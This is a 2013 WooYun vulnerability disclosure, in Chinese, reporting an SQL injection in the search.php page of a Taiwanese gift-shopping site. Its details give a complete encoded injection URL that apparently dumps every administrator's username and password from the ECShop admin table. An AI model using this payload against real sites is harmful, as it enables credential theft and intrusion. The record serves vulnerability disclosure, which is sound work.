漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-046112
漏洞标题：台湾购物网站用户名密码直接获取漏洞
相关厂商：禮品王
漏洞作者： Lovingmage
提交时间：2013-12-16 18:19
修复时间：2014-01-30 18:19
公开时间：2014-01-30 18:19
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-12-16： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-01-30： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
通过对注入的payload进行转码，绕过过滤，可以通过转码后的代码注入到url中，直接返回带有所有后台管理员的用户名和密码的查询页面。
详细说明：
注入代码，在主域名后面直接添加该代码段/search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319
即可访问到带有所有用户名和密码的页面
漏洞证明：
修复方案：
更新软件版本，将该url页面重定向。
版权声明：转载请注明来源 Lovingmage@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝